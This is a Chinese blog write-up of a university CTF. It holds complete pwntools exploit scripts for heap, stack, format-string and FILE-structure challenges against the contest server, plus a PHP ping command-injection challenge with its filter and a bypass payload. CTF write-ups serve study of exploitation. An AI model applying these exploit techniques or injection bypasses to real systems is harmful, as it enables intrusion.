这周比较闲🤣,看到老师把这个比赛发到了社团群里,就看了一下题目
比赛平台地址
pwn
pwnpwnpwn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * context.log_level='debug'
p = remote('218.197.154.9',10004) e = ELF('./pwn') l = ELF('./libc-2.23.so')
payload = 140*'A' payload += p32(e.sym['write']) payload += p32(e.sym['easyabc']) payload += p32(1) payload += p32(e.got['write']) payload += p32(4) p.recvuntil('?\n') p.sendline(payload) l.address = u32(p.recv(4)) - l.sym['write'] print hex(l.address) payload = 140*'B' payload += p32(l.sym['system']) payload += p32(0x233) payload += p32(l.search('/bin/sh').next()) p.recvuntil('?\n') p.sendline(payload) p.interactive()
|
shellcode
seccomp沙箱,禁用了execve系统调用,只能通过orw的shellcode来拿flag,问题是orw需要flag绝对路径,找到了一个可以将目录读到mem里的系统调用

参考2019RCTF的一道题目https://kirin-say.top/2019/05/20/RCTF-2019-PWN/
这里需要修改一下write的size
找到目录为/FFFFFFFFFlag

然后直接读就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * context.binary = './pwn' context.log_level='debug'
p = remote('218.197.154.9',10009)
sc = asm(shellcraft.cat(r'/FFFFFFFFFlag/flag')) m="/" s2=shellcraft.pushstr(m)+"\nmov rsi,0x10000\n\ mov rdi,rsp\n\ mov rax,2\n\ syscall\n\ mov rbx,rax\n\ mov rdi,rax\n\ mov rsi,rsp\n\ mov rdx,2048\n\ mov rax,0xd9\n\ syscall\n\ mov rdi,1\n\ mov rsi,rsp\n\ mov rdx,0x300\n\ mov [rsp+8],rax\n\ mov rax,1\n\ mov [rsp],rbx\n\ syscall" p.recvuntil('Length of your shellcode:\n')
p.send(str(len(sc))) p.recvuntil('Your shellcode:\n')
p.send(sc)
p.recvuntil('point:\n') p.sendline('0') p.interactive()
|
FFF
glibc堆利用入门题,free之后指针未清零导致uaf,结合fastbin attack可直接修改__malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import * context.log_level='debug'
def add(size): p.sendlineafter('> ','1') p.sendlineafter('size?\n', str(size)) def edit(idx, size, content): p.sendlineafter('> ','2') p.sendlineafter('index?\n', str(idx)) p.sendlineafter('size?\n', str(size)) p.send(content) def show(idx): p.sendlineafter('> ','3') p.sendlineafter('index?\n', str(idx)) def free(idx): p.sendlineafter('> ','4') p.sendlineafter('index?\n', str(idx))
p = remote('218.197.154.9',10007) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') add(0x68) add(0x68) add(0x100) add(0x10)
free(2) show(2) libc.address = u64(p.recv(6).ljust(8,'\x00'))-88-0x10-libc.sym['__malloc_hook'] onegadget = libc.address + 283242
free(0) free(1) edit(1,8,p64(libc.sym['__malloc_hook']-0x23)) add(0x68) add(0x68) edit(5,0x20,'\x00'*0x13+p64(onegadget))
p.sendlineafter('> ','1') p.sendlineafter('size?\n', str(10)) p.interactive()
|
attention
将操作次数错位成chunk size位,分配到全局指针ptr,然后修改got表即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| #!/usr/bin/env python from pwn import * context.log_level='debug' # [*] '/media/psf/pwn/whuctf/attention/attachment (1)/pwn' # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX enabled # PIE: No PIE (0x400000)
def add(): p.sendlineafter('choice :\n','1') def edit(name, data): p.sendlineafter('choice :\n','2') p.sendafter('name:\n', name) p.sendafter('data:\n', data) def free(): p.sendlineafter('choice :\n','3') def show(): p.sendlineafter('choice :\n','4')
#p = process('./pwn') p = remote('218.197.154.9',10002) elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
for i in range(0x3d): add() free() edit(p64(0x6010a0),'\x31') add() add() # malloc ptr edit(p64(elf.got['atoi']),'A') show() # leak libc p.recvuntil('name:') libc.address = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['atoi'] log.success('libc: --> %s' % hex(libc.address)) # exit@got --> onegadget one_gadget = libc.address + 987463 edit(p64(libc.sym['atoi']),p64(one_gadget)) # gdb.attach(p) p.sendlineafter('choice :\n','5') p.interactive()
|
arbitrary
开了printf_chk,fmtstr 只能leak不能write,拿到libc地址和canary后,正常溢出覆盖返回地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * context.log_level='debug'
p = remote('218.197.154.9',10005) p.sendlineafter('choice>>\n','3') p.sendline('%p.'*10) for i in range(5): p.recvuntil('.') code_base = int(p.recvuntil('.',drop=True),16)-0xca7 log.success('text: %s'%hex(code_base)) p.recvuntil('.') canary = int(p.recvuntil('.',drop=True),16)-0xa log.success('canary: %s'%hex(canary)) p.recvuntil('.') libc_base = int(p.recvuntil('.',drop=True),16)-0x20830 log.success('libc: %s'%hex(libc_base)) p.sendlineafter('choice>>\n','2')
sleep(1) p.sendline('ssta') one_gadget = libc_base + 283158
sleep(1) p.sendline('A'*56+p64(canary)+p64(0)+p64(one_gadget))
p.interactive()
|
overflow
整数截断绕过长度限制,伪造stdout劫持vtables到bss上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import *
p = remote('218.197.154.9',10006) elf = ELF('./pwn') libc = elf.libc p.recvuntil('Gift:\n') ptr_p =int(p.recvline().strip(),16) log.success('Gift p: %s' % hex(ptr_p)) p.sendlineafter('Choice:','1') p.sendlineafter('Offset:\n','-34') p.recvuntil('data:\n\x00\x00') libc.address = u64(p.recv(6).ljust(8,'\x00'))-0x3c5540 log.success('libc: %s' % hex(libc.address)) fake_stdout = '' fake_stdout += p64(0x00000000fbad2887)+p64(libc.address+0x3c56a3)*7 fake_stdout += p64(libc.address+0x3c56a3+1)+p64(0)*4 fake_stdout += p64(libc.address+0x3c48e0) fake_stdout += p64(1)+p64(0xffffffffffffffff) fake_stdout += p64(0x000000000a000000)+p64(libc.address+0x3c6780) fake_stdout += p64(0xffffffffffffffff)+p64(0) fake_stdout += p64(libc.address+0x3c47a0)+p64(0)*3 fake_stdout += p64(0x00000000ffffffff)+p64(0)*2 fake_stdout += p64(ptr_p+0xe0) one_gadget = libc.address+987463 fake_vtalbe = p64(0)*2 fake_vtalbe += p64(one_gadget)*20
p.sendlineafter('Choice:','2') p.sendlineafter('Offset:\n','0') p.sendlineafter('Size:\n',str(0xffff0050)) p.sendafter('Input data:\n',fake_stdout+fake_vtalbe)
p.sendlineafter('Choice:','2') p.sendlineafter('Offset:\n','-64') p.sendlineafter('Size:\n',str(8))
p.sendafter('Input data:\n',p64(ptr_p))
p.interactive()
|
heaptrick
太菜了QAQ,不会做!坐等wp
web
ezcmd
给了源码可以看到过滤的有点多,但是没过滤$
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("no space!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("no flag"); } else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){ die("cat't read flag"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); } highlight_file(__FILE__);
?>
|
so..变量替换可以直接过
1
| a=ca;b=t;d=ag.php;c=fl;$a$b$IFS$c$d
|